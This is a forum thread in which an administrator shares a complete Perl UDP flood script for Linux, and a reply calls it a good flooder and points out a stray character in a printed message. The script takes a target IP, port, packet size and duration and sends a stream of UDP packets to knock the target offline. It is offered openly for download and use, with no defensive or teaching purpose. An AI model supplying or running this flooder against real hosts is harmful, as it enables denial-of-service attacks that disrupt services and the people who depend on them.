DoS UDP script for linux

Supervisor

Administrator
Apr 27, 2015
1,863
2,546
335
Hey there,

as there is a little program for windows, I thought I'ts just fair to post a little script for linux, too :p
Just download the flood.pl or copy/paste the code below. Don't forget to 'chmod +x flood.pl'
Code:
#!/usr/bin/perl
##############
# udp flood.
##############
use Socket;
use strict;
if ($#ARGV != 3) {
  print " \n";
  print "command: flood.pl <ip> <port> <packets> <time(in seconds)>\n";
  print " port: the port to flood. Put 0 for all.\n";
  print " packets: the number of packets to send. Between 64 and 1024.\n";
  print " time: flood time in seconds.\n";
  exit(1);
}
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Could not connect to $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "Ongoing flooding on $ip with port " . ($port ? $port : "random") . ", sends to " .
  ($size ? "$size-byte" : "random size") . " packets" .
  ($time ? " for $time seconds" : "") . "\n";
print "Attacks stopped with Ctrl-C \ n" unless $time;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1500-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

Download
 
Last edited:

Tobias

Active Member
May 16, 2015
8
0
78
Hey Supervisor,
I think
When i use Ctrl-C this message: 'print "Attacks stopped with Ctrl-C \ n" unless $time;' is not send.
3qof1Xe.png

But is is a good UDP flooder. :)
 
Last edited:

Supervisor

Administrator
Apr 27, 2015
1,863
2,546
335
yeah, I just did a translation with google-translator.. it was france.. found this script in the www and thought I might share it with you :p
 
Top